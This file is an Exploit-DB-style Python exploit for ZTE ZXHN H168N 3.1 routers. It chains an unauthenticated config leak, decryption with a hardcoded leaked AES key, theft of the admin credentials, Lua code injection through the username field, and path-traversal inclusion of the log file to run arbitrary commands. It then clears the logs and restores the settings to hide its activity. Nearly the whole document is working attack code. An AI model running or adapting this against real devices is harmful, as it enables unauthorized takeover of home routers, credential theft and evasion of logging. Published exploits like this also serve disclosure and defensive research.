exploit-db-mirror/exploits/multiple/hardware/52191.py

# Exploit Title:  ZTE ZXHN H168N 3.1 - RCE via authentication bypass
# Author: l34n / tasos meletlidis
# Exploit Blog: https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/

import http.client, requests, os, argparse, struct, zlib
from io import BytesIO
from os import stat
from Crypto.Cipher import AES

def login(host, port, username, password):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "Username": username,
        "Password": password,
        "Frm_Logintoken": "",
        "action": "login"
    }

    requests.post(f"http://{host}:{port}/", headers=headers, data=data)

def logout(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_LogOff": "1",
        "IF_LanguageSwitch": "",
        "IF_ModeSwitch": ""
    }

    requests.post(f"http://{host}:{port}/", headers=headers, data=data)

def leak_config(host, port):
    conn = http.client.HTTPConnection(host, port)
    boundary = "---------------------------25853724551472601545982946443"
    body = (
        f"{boundary}\r\n"
        'Content-Disposition: form-data; name="config"\r\n'
        "\r\n"
        "\r\n"
        f"{boundary}--\r\n"
    )

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body)),
        "Connection": "keep-alive",
    }

    conn.request("POST", "/getpage.lua?pid=101&nextpage=ManagDiag_UsrCfgMgr_t.lp", body, headers)

    response = conn.getresponse()
    response_data = response.read()

    with open("config.bin", "wb") as file:
        file.write(response_data)

    conn.close()

def _read_exactly(fd, size, desc="data"):
    chunk = fd.read(size)
    if len(chunk) != size:
        return None
    return chunk

def _read_struct(fd, fmt, desc="struct"):
    size = struct.calcsize(fmt)
    data = _read_exactly(fd, size, desc)
    if data is None:
        return None
    return struct.unpack(fmt, data)

def read_aes_data(fd_in, key):
    encrypted_data = b""
    while True:
        aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header")
        if aes_hdr is None:
            return None
        _, chunk_len, marker = aes_hdr

        chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data")
        if chunk is None:
            return None

        encrypted_data += chunk
        if marker == 0:
            break

    cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB)
    fd_out = BytesIO()
    fd_out.write(cipher.decrypt(encrypted_data))
    fd_out.seek(0)
    return fd_out

def read_compressed_data(fd_in, enc_header):
    hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6]))
    if enc_header[6] != hdr_crc:
        return None

    total_crc = 0
    fd_out = BytesIO()

    while True:
        comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header")
        if comp_hdr is None:
            return None
        uncompr_len, compr_len, marker = comp_hdr

        chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data")
        if chunk is None:
            return None

        total_crc = zlib.crc32(chunk, total_crc)
        uncompressed = zlib.decompress(chunk)
        if len(uncompressed) != uncompr_len:
            return None

        fd_out.write(uncompressed)
        if marker == 0:
            break

    if enc_header[5] != total_crc:
        return None

    fd_out.seek(0)
    return fd_out

def read_config(fd_in, fd_out, key):
    ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header")
    if ver_header_1 is None:
        return

    ver_header_2_offset = 0x14 + ver_header_1[4]

    fd_in.seek(ver_header_2_offset)
    ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header")
    if ver_header_2 is None:
        return
    ver_header_3_offset = ver_header_2[10]

    fd_in.seek(ver_header_3_offset)
    ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header")
    if ver_header_3 is None:
        return
    signed_cfg_size = ver_header_3[3]

    file_size = stat(fd_in.name).st_size

    fd_in.seek(0x80)
    sign_header = _read_struct(fd_in, ">3I", desc="signature header")
    if sign_header is None:
        return
    if sign_header[0] != 0x04030201:
        return

    sign_length = sign_header[2]

    signature = _read_exactly(fd_in, sign_length, desc="signature")
    if signature is None:
        return

    enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header")
    if enc_header_raw is None:
        return
    encryption_header = struct.unpack(">15I", enc_header_raw)
    if encryption_header[0] != 0x01020304:
        return

    enc_type = encryption_header[1]

    if enc_type in (1, 2):
        if not key:
            return
        fd_in = read_aes_data(fd_in, key)
        if fd_in is None:
            return

    if enc_type == 2:
        enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header")
        if enc_header_raw is None:
            return
        encryption_header = struct.unpack(">15I", enc_header_raw)
        if encryption_header[0] != 0x01020304:
            return
        enc_type = 0

    if enc_type == 0:
        fd_in = read_compressed_data(fd_in, encryption_header)
        if fd_in is None:
            return

    fd_out.write(fd_in.read())

def decrypt_config(config_key):
    encrypted = open("config.bin", "rb")
    decrypted = open("decrypted.xml", "wb")

    read_config(encrypted, decrypted, config_key)

    with open("decrypted.xml", "r") as file:
        contents = file.read()
        username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0]
        password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0]

    encrypted.close()
    os.system("rm config.bin")
    decrypted.close()
    os.system("rm decrypted.xml")

    return username, password

def change_log_level(host, port, log_level):
    level_map = {
        "critical": "2",
        "notice": "5"
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Apply",
        "_BASICCONIG": "Y",
        "LogEnable": "1",
        "LogLevel": level_map[log_level],
        "ServiceEnable": "0",
        "Btn_cancel_LogManagerConf": "",
        "Btn_apply_LogManagerConf": "",
        "downloadlog": "",
        "Btn_clear_LogManagerConf": "",
        "Btn_save_LogManagerConf": "",
        "Btn_refresh_LogManagerConf": ""
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def change_username(host, port, new_username, old_password):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Apply",
        "_InstID": "IGD.AU2",
        "Right": "2",
        "Username": new_username,
        "Password": old_password,
        "NewPassword": old_password,
        "NewConfirmPassword": old_password,
        "Btn_cancel_AccountManag": "",
        "Btn_apply_AccountManag": ""
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_AccountManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/accountManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/accountManag_lua.lua", headers=headers, data=data)

def clear_log(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "clearlog"
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def refresh_log(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Refresh"
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def trigger_rce(host, port):
    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_StatusManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar%2fuserlog.txt&Menu3Location=0")

def rce(cmd):
    return f"<? _G.os.execute('rm /var/userlog.txt;{cmd}') ?>"

def pwn(config_key, host, port):
    leak_config(host, port)
    username, password = decrypt_config(config_key)

    login(host, port, username, password)

    shellcode = "echo \"pwned\""
    payload = rce(shellcode)

    change_username(host, port, payload, password)
    refresh_log(host, port)
    change_log_level(host, port, "notice")
    refresh_log(host, port)

    trigger_rce(host, port)
    clear_log(host, port)

    change_username(host, port, username, password)
    change_log_level(host, port, "critical")
    logout(host, port)
    print("[+] PoC complete")

def main():
    parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXHN H168N V3.1")
    parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"GrWM3Hz&LTvz&f^9", help="Leaked config encryption key from cspd")
    parser.add_argument("--host", required=True, help="Target IP address of the router")
    parser.add_argument("--port", required=True, type=int, help="Target port of the router")

    args = parser.parse_args()

    pwn(args.config_key, args.host, args.port)

if __name__ == "__main__":
    main()